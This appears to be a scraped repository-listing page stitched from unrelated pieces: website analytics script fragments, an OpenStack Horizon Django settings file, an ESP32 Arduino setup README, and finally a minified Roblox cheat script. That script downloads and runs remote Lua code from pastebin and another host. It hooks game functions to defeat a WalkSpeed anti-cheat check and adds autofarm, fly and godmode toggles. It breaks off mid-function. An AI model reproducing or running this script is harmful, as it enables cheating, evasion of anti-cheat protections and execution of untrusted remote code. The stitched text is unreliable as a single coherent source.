= (isSecure ? 'https://sb' : 'http://b') + '.scorecardresearch.com/beacon.js'; p.insertBefore(cs, s); } // Set up Google Analytics _gaq = _gaq || []; if (!debug) { _gaq.push(['_setAccount', gaKey]); _gaq.push(['_setDomainName', '.wallace-best.com']); } if (!gaPunt) { for (var v in gaCustomVars) { if (!(gaCustomVars.hasOwnProperty(v) && gaCustomVars[v])) continue; _gaq.push(['_setCustomVar', gaSlots[v], gaCustomVars[v]]); } _gaq.push(['_trackPageview']); } // Load Google Analytics var ga = doc.createElement('script'); ga.type = 'text/javascript'; ga.async = true; var prefix = isSecure ? 'https://ssl' : 'http://www'; // Dev tip: if you cannot use the Google Analytics Debug Chrome extension, // https://chrome.google.com/webstore/detail/jnkmfdileelhofjcijamephohjechhna // you can replace /ga.js on the following line with /u/ga_debug.js // But if you do that, PLEASE DON'T COMMIT THE CHANGE! Kthxbai. ga.src = prefix + '.google-analytics.com/ga.js'; p.insertBefore(ga, s); }(document)); </script> <script> (function (){ // adds a classname for css to target the current page without passing in special things from the server or wherever // replacing all characters not allowable in classnames var newLocation = encodeURIComponent(window.location.pathname).replace(/[\.!~*'\(\)]/g, '_'); // cleaning up remaining url-encoded symbols for clarity sake newLocation = newLocation.replace(/%2F/g, '-').replace(/^-/, '').replace(/-$/, ''); if (newLocation === '') { newLocation = 'homepage'; } $('body').addClass('' + newLocation); }()); $(function ($) { // adds 'page-active' class to links matching the page url $('a[href="' + window.location.pathname + '"]').addClass('page-active'); }); $(document).delegate('[data-toggle-selector]', 'click', function (e) { var $this = $(this); $($this.attr('data-toggle-selector')).toggle(); e.preventDefault(); }); </script> <script type="text/javascript"> wallace-best.define('web.urls', function () { return { twitter: 'https://wallace-best.com/_ax/twitter/begin/', google: 'https://wallace-best.com/_ax/google/begin/', facebook: 'https://wallace-best.com/_ax/facebook/begin/', dashboard: 'http://wallace-best.com/dashboard/' } }); $(document).ready(function () { var usernameInput = $("input[name=username]"); if (usernameInput[0].value) { $("input[name=password]").focus(); } else { usernameInput.focus(); } }); </script> <script type="text/javascript" src="//a.wallace-bestcdn.com/1391808583/js/src/social_login.js"> <script type="text/javascript"> $(function() { var options = { authenticated: (context.auth.username !== undefined), moderated_forums: context.auth.moderated_forums, user_id: context.auth.user_id, track_clicks: !!context.switches.website_click_analytics, forum: context.forum }; wallace-best.funnelcake.init(options); }); </script> <!-- helper jQuery tmpl partials --> <script type="text/x-jquery-tmpl" id="profile-metadata-tmpl"> data-profile-username="${username}" data-profile-hash="${emailHash}" href="/${username}" </script> <script type="text/x-jquery-tmpl" id="profile-link-tmpl"> <a class="profile-launcher" {{tmpl "#profile-metadata-tmpl"}} href="/${username}">${name}</a> </script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/templates.js"></script> <script src="//a.wallace-bestcdn.com/1391808583/js/src/modals.js"></script> <script> wallace-best.ui.config({ disqusUrl: 'https://disqus.com', mediaUrl: '//a.wallace-bestcdn.com/1391808583/' }); </script> </body> </html>
nikita-volkov / Slave ThreadA principal solution to ghost threads and silent exceptions
michealbalogun / Horizon DashboardCopyright 2012 United States Government as represented by the # Administrator of the National Aeronautics and Space Administration. # All Rights Reserved. # # Copyright 2012 Nebula, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. import glob import logging import os import sys import warnings from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext_lazy as _ from horizon.utils.escape import monkeypatch_escape from openstack_dashboard import enabled from openstack_dashboard import exceptions from openstack_dashboard.local import enabled as local_enabled from openstack_dashboard import theme_settings from openstack_dashboard.utils import config from openstack_dashboard.utils import settings as settings_utils monkeypatch_escape() _LOG = logging.getLogger(__name__) warnings.formatwarning = lambda message, category, *args, **kwargs: \ '%s: %s' % (category.__name__, message) ROOT_PATH = os.path.dirname(os.path.abspath(__file__)) if ROOT_PATH not in sys.path: sys.path.append(ROOT_PATH) DEBUG = False SITE_BRANDING = 'OpenStack Dashboard' WEBROOT = '/' LOGIN_URL = None LOGOUT_URL = None LOGIN_ERROR = None LOGIN_REDIRECT_URL = None MEDIA_ROOT = None MEDIA_URL = None STATIC_ROOT = None STATIC_URL = None SELECTABLE_THEMES = None INTEGRATION_TESTS_SUPPORT = False NG_TEMPLATE_CACHE_AGE = 2592000 ROOT_URLCONF = 'openstack_dashboard.urls' HORIZON_CONFIG = { 'user_home': 'openstack_dashboard.views.get_user_home', 'ajax_queue_limit': 10, 'auto_fade_alerts': { 'delay': 3000, 'fade_duration': 1500, 'types': ['alert-success', 'alert-info'] }, 'bug_url': None, 'help_url': "https://docs.openstack.org/", 'exceptions': {'recoverable': exceptions.RECOVERABLE, 'not_found': exceptions.NOT_FOUND, 'unauthorized': exceptions.UNAUTHORIZED}, 'modal_backdrop': 'static', 'angular_modules': [], 'js_files': [], 'js_spec_files': [], 'external_templates': [], 'plugins': [], 'integration_tests_support': INTEGRATION_TESTS_SUPPORT } # The OPENSTACK_IMAGE_BACKEND settings can be used to customize features # in the OpenStack Dashboard related to the Image service, such as the list # of supported image formats. OPENSTACK_IMAGE_BACKEND = { 'image_formats': [ ('', _('Select format')), ('aki', _('AKI - Amazon Kernel Image')), ('ami', _('AMI - Amazon Machine Image')), ('ari', _('ARI - Amazon Ramdisk Image')), ('docker', _('Docker')), ('iso', _('ISO - Optical Disk Image')), ('ova', _('OVA - Open Virtual Appliance')), ('ploop', _('PLOOP - Virtuozzo/Parallels Loopback Disk')), ('qcow2', _('QCOW2 - QEMU Emulator')), ('raw', _('Raw')), ('vdi', _('VDI - Virtual Disk Image')), ('vhd', _('VHD - Virtual Hard Disk')), ('vhdx', _('VHDX - Large Virtual Hard Disk')), ('vmdk', _('VMDK - Virtual Machine Disk')), ] } MIDDLEWARE = ( 'openstack_auth.middleware.OpenstackAuthMonkeyPatchMiddleware', 'debreach.middleware.RandomCommentMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'horizon.middleware.OperationLogMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'horizon.middleware.HorizonMiddleware', 'horizon.themes.ThemeMiddleware', 'django.middleware.locale.LocaleMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerClientMiddleware', 'openstack_dashboard.contrib.developer.profiler.middleware.' 'ProfilerMiddleware', ) CACHED_TEMPLATE_LOADERS = [ 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', 'horizon.loaders.TemplateLoader' ] ADD_TEMPLATE_LOADERS = [] ADD_TEMPLATE_DIRS = [] TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(ROOT_PATH, 'templates')], 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.i18n', 'django.template.context_processors.request', 'django.template.context_processors.media', 'django.template.context_processors.static', 'django.contrib.messages.context_processors.messages', 'horizon.context_processors.horizon', 'openstack_dashboard.context_processors.openstack', ], 'loaders': [ 'horizon.themes.ThemeTemplateLoader' ], }, }, ] STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'horizon.contrib.staticfiles.finders.HorizonStaticFinder', 'compressor.finders.CompressorFinder', ) COMPRESS_PRECOMPILERS = ( ('text/scss', 'horizon.utils.scss_filter.HorizonScssFilter'), ) COMPRESS_CSS_FILTERS = ( 'compressor.filters.css_default.CssAbsoluteFilter', ) COMPRESS_ENABLED = True COMPRESS_OUTPUT_DIR = 'dashboard' COMPRESS_CSS_HASHING_METHOD = 'hash' COMPRESS_PARSER = 'compressor.parser.HtmlParser' INSTALLED_APPS = [ 'openstack_dashboard', 'django.contrib.contenttypes', 'django.contrib.auth', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'django.contrib.humanize', 'django_pyscss', 'debreach', 'openstack_dashboard.django_pyscss_fix', 'compressor', 'horizon', 'openstack_auth', ] AUTHENTICATION_BACKENDS = ('openstack_auth.backend.KeystoneBackend',) AUTHENTICATION_URLS = ['openstack_auth.urls'] AUTH_USER_MODEL = 'openstack_auth.User' MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage' SESSION_ENGINE = 'django.contrib.sessions.backends.cache' CACHES = { 'default': { 'BACKEND': 'django.core.cache.backends.memcached.MemcachedCache', 'LOCATION': '127.0.0.1:11211', }, } SESSION_COOKIE_HTTPONLY = True SESSION_EXPIRE_AT_BROWSER_CLOSE = True SESSION_COOKIE_SECURE = False # Control whether the SESSION_TIMEOUT period is refreshed due to activity. If # False, SESSION_TIMEOUT acts as a hard limit. SESSION_REFRESH = True # This SESSION_TIMEOUT is a method to supercede the token timeout with a # shorter horizon session timeout (in seconds). If SESSION_REFRESH is True (the # default) SESSION_TIMEOUT acts like an idle timeout rather than being a hard # limit, but will never exceed the token expiry. If your token expires in 60 # minutes, a value of 1800 will log users out after 30 minutes of inactivity, # or 60 minutes with activity. Setting SESSION_REFRESH to False will make # SESSION_TIMEOUT act like a hard limit on session times. SESSION_TIMEOUT = 3600 # When using cookie-based sessions, log error when the session cookie exceeds # the following size (common browsers drop cookies above a certain size): SESSION_COOKIE_MAX_SIZE = 4093 # when doing upgrades, it may be wise to stick to PickleSerializer # NOTE(berendt): Check during the K-cycle if this variable can be removed. # https://bugs.launchpad.net/horizon/+bug/1349463 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' # MEMOIZED_MAX_SIZE_DEFAULT allows setting a global default to help control # memory usage when caching. It should at least be 2 x the number of threads # with a little bit of extra buffer. MEMOIZED_MAX_SIZE_DEFAULT = 25 CSRF_FAILURE_VIEW = 'openstack_dashboard.views.csrf_failure' LANGUAGES = ( ('cs', 'Czech'), ('de', 'German'), ('en', 'English'), ('en-au', 'Australian English'), ('en-gb', 'British English'), ('eo', 'Esperanto'), ('es', 'Spanish'), ('fr', 'French'), ('id', 'Indonesian'), ('it', 'Italian'), ('ja', 'Japanese'), ('ko', 'Korean (Korea)'), ('pl', 'Polish'), ('pt-br', 'Portuguese (Brazil)'), ('ru', 'Russian'), ('tr', 'Turkish'), ('zh-cn', 'Simplified Chinese'), ('zh-tw', 'Chinese (Taiwan)'), ) LANGUAGE_CODE = 'en' LANGUAGE_COOKIE_NAME = 'horizon_language' USE_I18N = True USE_L10N = True USE_TZ = True # Set OPENSTACK_CLOUDS_YAML_NAME to provide a nicer name for this cloud for # the clouds.yaml file than "openstack". OPENSTACK_CLOUDS_YAML_NAME = 'openstack' # If this cloud has a vendor profile in os-client-config, put it's name here. OPENSTACK_CLOUDS_YAML_PROFILE = '' OPENSTACK_KEYSTONE_DEFAULT_ROLE = '_member_' DEFAULT_EXCEPTION_REPORTER_FILTER = 'horizon.exceptions.HorizonReporterFilter' POLICY_FILES_PATH = os.path.join(ROOT_PATH, "conf") # Map of local copy of service policy files POLICY_FILES = { 'identity': 'keystone_policy.json', 'compute': 'nova_policy.json', 'volume': 'cinder_policy.json', 'image': 'glance_policy.json', 'network': 'neutron_policy.json', } # Services for which horizon has extra policies are defined # in POLICY_DIRS by default. POLICY_DIRS = { 'compute': ['nova_policy.d'], 'volume': ['cinder_policy.d'], } SECRET_KEY = None LOCAL_PATH = None SECURITY_GROUP_RULES = { 'all_tcp': { 'name': _('All TCP'), 'ip_protocol': 'tcp', 'from_port': '1', 'to_port': '65535', }, 'all_udp': { 'name': _('All UDP'), 'ip_protocol': 'udp', 'from_port': '1', 'to_port': '65535', }, 'all_icmp': { 'name': _('All ICMP'), 'ip_protocol': 'icmp', 'from_port': '-1', 'to_port': '-1', }, } ADD_INSTALLED_APPS = [] # NOTE: The default value of USER_MENU_LINKS will be set after loading # local_settings if it is not configured. USER_MENU_LINKS = None # 'key', 'label', 'path' AVAILABLE_THEMES = [ ( 'default', pgettext_lazy('Default style theme', 'Default'), 'themes/default' ), ( 'material', pgettext_lazy("Google's Material Design style theme", "Material"), 'themes/material' ), ] # The default theme if no cookie is present DEFAULT_THEME = 'default' # Theme Static Directory THEME_COLLECTION_DIR = 'themes' # Theme Cookie Name THEME_COOKIE_NAME = 'theme' POLICY_CHECK_FUNCTION = 'openstack_auth.policy.check' CSRF_COOKIE_AGE = None COMPRESS_OFFLINE_CONTEXT = 'horizon.themes.offline_context' SHOW_KEYSTONE_V2_RC = False SHOW_OPENRC_FILE = True SHOW_OPENSTACK_CLOUDS_YAML = True # Dictionary of currently available angular features ANGULAR_FEATURES = { 'images_panel': True, 'key_pairs_panel': True, 'flavors_panel': False, 'domains_panel': False, 'users_panel': False, 'groups_panel': False, 'roles_panel': True } # Notice all customizable configurations should be above this line XSTATIC_MODULES = settings_utils.BASE_XSTATIC_MODULES OPENSTACK_PROFILER = { 'enabled': False } if not LOCAL_PATH: LOCAL_PATH = os.path.join(ROOT_PATH, 'local') LOCAL_SETTINGS_DIR_PATH = os.path.join(LOCAL_PATH, "local_settings.d") _files = glob.glob(os.path.join(LOCAL_PATH, 'local_settings.conf')) _files.extend( sorted(glob.glob(os.path.join(LOCAL_SETTINGS_DIR_PATH, '*.conf')))) _config = config.load_config(_files, ROOT_PATH, LOCAL_PATH) # Apply the general configuration. config.apply_config(_config, globals()) try: from local.local_settings import * # noqa: F403,H303 except ImportError: _LOG.warning("No local_settings file found.") # configure templates if not TEMPLATES[0]['DIRS']: TEMPLATES[0]['DIRS'] = [os.path.join(ROOT_PATH, 'templates')] TEMPLATES[0]['DIRS'] += ADD_TEMPLATE_DIRS # configure template debugging TEMPLATES[0]['OPTIONS']['debug'] = DEBUG # Template loaders if DEBUG: TEMPLATES[0]['OPTIONS']['loaders'].extend( CACHED_TEMPLATE_LOADERS + ADD_TEMPLATE_LOADERS ) else: TEMPLATES[0]['OPTIONS']['loaders'].extend( [('django.template.loaders.cached.Loader', CACHED_TEMPLATE_LOADERS)] + ADD_TEMPLATE_LOADERS ) # allow to drop settings snippets into a local_settings_dir LOCAL_SETTINGS_DIR_PATH = os.path.join(ROOT_PATH, "local", "local_settings.d") if os.path.exists(LOCAL_SETTINGS_DIR_PATH): for (dirpath, dirnames, filenames) in os.walk(LOCAL_SETTINGS_DIR_PATH): for filename in sorted(filenames): if filename.endswith(".py"): try: with open(os.path.join(dirpath, filename)) as f: # pylint: disable=exec-used exec(f.read()) except Exception as e: _LOG.exception( "Can not exec settings snippet %s", filename) # The purpose of OPENSTACK_IMAGE_FORMATS is to provide a simple object # that does not contain the lazy-loaded translations, so the list can # be sent as JSON to the client-side (Angular). OPENSTACK_IMAGE_FORMATS = [fmt for (fmt, name) in OPENSTACK_IMAGE_BACKEND['image_formats']] if USER_MENU_LINKS is None: USER_MENU_LINKS = [] if SHOW_KEYSTONE_V2_RC: USER_MENU_LINKS.append({ 'name': _('OpenStack RC File v2'), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrcv2', }) if SHOW_OPENRC_FILE: USER_MENU_LINKS.append({ 'name': (_('OpenStack RC File v3') if SHOW_KEYSTONE_V2_RC else _('OpenStack RC File')), 'icon_classes': ['fa-download', ], 'url': 'horizon:project:api_access:openrc', }) if not WEBROOT.endswith('/'): WEBROOT += '/' if LOGIN_URL is None: LOGIN_URL = WEBROOT + 'auth/login/' if LOGOUT_URL is None: LOGOUT_URL = WEBROOT + 'auth/logout/' if LOGIN_ERROR is None: LOGIN_ERROR = WEBROOT + 'auth/error/' if LOGIN_REDIRECT_URL is None: LOGIN_REDIRECT_URL = WEBROOT if MEDIA_ROOT is None: MEDIA_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'media')) if MEDIA_URL is None: MEDIA_URL = WEBROOT + 'media/' if STATIC_ROOT is None: STATIC_ROOT = os.path.abspath(os.path.join(ROOT_PATH, '..', 'static')) if STATIC_URL is None: STATIC_URL = WEBROOT + 'static/' AVAILABLE_THEMES, SELECTABLE_THEMES, DEFAULT_THEME = ( theme_settings.get_available_themes( AVAILABLE_THEMES, DEFAULT_THEME, SELECTABLE_THEMES ) ) # Discover all the directories that contain static files STATICFILES_DIRS = theme_settings.get_theme_static_dirs( AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) # Ensure that we always have a SECRET_KEY set, even when no local_settings.py # file is present. See local_settings.py.example for full documentation on the # horizon.utils.secret_key module and its use. if not SECRET_KEY: if not LOCAL_PATH: LOCAL_PATH = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'local') # pylint: disable=ungrouped-imports from horizon.utils import secret_key SECRET_KEY = secret_key.generate_or_read_from_file(os.path.join(LOCAL_PATH, '.secret_key_store')) # populate HORIZON_CONFIG with auto-discovered JavaScript sources, mock files, # specs files and external templates. settings_utils.find_static_files(HORIZON_CONFIG, AVAILABLE_THEMES, THEME_COLLECTION_DIR, ROOT_PATH) INSTALLED_APPS = list(INSTALLED_APPS) # Make sure it's mutable settings_utils.update_dashboards( [ enabled, local_enabled, ], HORIZON_CONFIG, INSTALLED_APPS, ) INSTALLED_APPS[0:0] = ADD_INSTALLED_APPS NG_TEMPLATE_CACHE_AGE = NG_TEMPLATE_CACHE_AGE if not DEBUG else 0 # Include xstatic_modules specified in plugin XSTATIC_MODULES += HORIZON_CONFIG['xstatic_modules'] # Discover all the xstatic module entry points to embed in our HTML STATICFILES_DIRS += settings_utils.get_xstatic_dirs( XSTATIC_MODULES, HORIZON_CONFIG) # This base context objects gets added to the offline context generator # for each theme configured. HORIZON_COMPRESS_OFFLINE_CONTEXT_BASE = { 'WEBROOT': WEBROOT, 'STATIC_URL': STATIC_URL, 'HORIZON_CONFIG': HORIZON_CONFIG, 'NG_TEMPLATE_CACHE_AGE': NG_TEMPLATE_CACHE_AGE, } if DEBUG: logging.basicConfig(level=logging.DEBUG) # Here comes the Django settings deprecation section. Being at the very end # of settings.py allows it to catch the settings defined in local_settings.py # or inside one of local_settings.d/ snippets.
idreamerhx / RingbufferA C++11/14 implementation of fixed size, exception safe, STL style circular buffers for both single threaded and multithreaded contexts
dac1976 / CoreLibraryA library containing a collection of useful C++1x utility classes to assist with multi-threading, logging, networking, custom exceptions, file management, INI files, serialization, sorting, string utilities and more.
lolin32 / ESP32Arduino core for ESP32 WiFi chip Build Status Need help or have a question? Join the chat at https://gitter.im/espressif/arduino-esp32 Development Status Installation Instructions: Using Arduino IDE Windows Mac OS Debian/Ubuntu Decoding Exceptions Using PlatformIO Using as ESP-IDF component ESP32Dev Board PINMAP Development Status Most of the framework is implemented. Most noticable is the missing analogWrite. While analogWrite is on it's way, there are a few other options that you can use: 16 channels LEDC which is PWM 8 channels SigmaDelta which uses SigmaDelta modulation 2 channels DAC which gives real analog output Installation Instructions Using through Arduino IDE ###Instructions for Windows Instructions for Mac Install latest Arduino IDE from arduino.cc Open Terminal and execute the following command (copy->paste and hit enter): mkdir -p ~/Documents/Arduino/hardware/espressif && \ cd ~/Documents/Arduino/hardware/espressif && \ git clone https://github.com/espressif/arduino-esp32.git esp32 && \ cd esp32/tools/ && \ python get.py Restart Arduino IDE Instructions for Debian/Ubuntu Linux Install latest Arduino IDE from arduino.cc Open Terminal and execute the following command (copy->paste and hit enter): sudo usermod -a -G dialout $USER && \ sudo apt-get install git && \ wget https://bootstrap.pypa.io/get-pip.py && \ sudo python get-pip.py && \ sudo pip install pyserial && \ mkdir -p ~/Arduino/hardware/espressif && \ cd ~/Arduino/hardware/espressif && \ git clone https://github.com/espressif/arduino-esp32.git esp32 && \ cd esp32/tools/ && \ python get.py Restart Arduino IDE Decoding exceptions You can use EspExceptionDecoder to get meaningful call trace. Using PlatformIO PlatformIO is an open source ecosystem for IoT development with cross platform build system, library manager and full support for Espressif ESP32 development. It works on the popular host OS: Mac OS X, Windows, Linux 32/64, Linux ARM (like Raspberry Pi, BeagleBone, CubieBoard). What is PlatformIO? PlatformIO IDE Quick Start with PlatformIO IDE or PlatformIO Core Integration with Cloud and Standalone IDEs - Cloud9, Codeanywehre, Eclipse Che (Codenvy), Atom, CLion, Eclipse, Emacs, NetBeans, Qt Creator, Sublime Text, VIM and Visual Studio Project Examples Using "Stage" (Git) version of Arduino Core Building with make makeEspArduino is a generic makefile for any ESP8266/ESP32 Arduino project. Using make instead of the Arduino IDE makes it easier to do automated and production builds. Using as ESP-IDF component Download and install esp-idf Create blank idf project (from one of the examples) in the project folder, create a folder called components and clone this repository inside mkdir -p components && \ cd components && \ git clone https://github.com/espressif/arduino-esp32.git arduino && \ cd .. && \ make menuconfig make menuconfig has some Arduino options "Autostart Arduino setup and loop on boot" If you enable this options, your main.cpp should be formated like any other sketch //file: main.cpp #include "Arduino.h" void setup(){ Serial.begin(115200); } void loop(){ Serial.println("loop"); delay(1000); } Else you need to implement app_main() and call initArduino(); in it. Keep in mind that setup() and loop() will not be called in this case. If you plan to base your code on examples provided in esp-idf, please make sure move the app_main() function in main.cpp from the files in the example. //file: main.cpp #include "Arduino.h" extern "C" void app_main() { initArduino(); pinMode(4, OUTPUT); digitalWrite(4, HIGH); //do your own thing } "Disable mutex locks for HAL" If enabled, there will be no protection on the drivers from concurently accessing them from another thread/interrupt/core "Autoconnect WiFi on boot" If enabled, WiFi will start with the last known configuration Else it will wait for WiFi.begin make flash monitor will build, upload and open serial monitor to your board ESP32Dev Board PINMAP Pin Functions Hint Sometimes to program ESP32 via serial you must keep GPIO0 LOW during the programming process
Pa1ntex / Classic Gui Saktkia51 Script Op local b=game:GetService("Players")local c=game:GetService("ReplicatedStorage")local d=game:GetService("StarterGui")local e=game:GetService("RunService")local f=game:GetService("StarterPlayer")local g=game:GetService("TestService")local h=game:GetService("VirtualUser")local i=game:GetService("TweenService")local j=game:GetService("UserInputService")local k=game:GetService("Players").LocalPlayer;local l=game.Workspace.CurrentCamera;local m=loadstring(game:HttpGet("https://api.irisapp.ca/Scripts/IrisBetterNotifications.lua"))()local n=loadstring(game:HttpGet("https://pastebin.com/raw/en4Ma7jr"))()local o="BloodTheme"local p=get_thread_context or get_thread_identity or getidentity or syn_context_get;getgenv().syn_context_get=newcclosure(function(...)return p(...)end)if game.PlaceId==2092166489 then function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)m.Notify("Survive and Kill the Killers UI","Loaded","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})local x=n.CreateLib("Classic Mode UI",o)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then n:ToggleUI()m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local 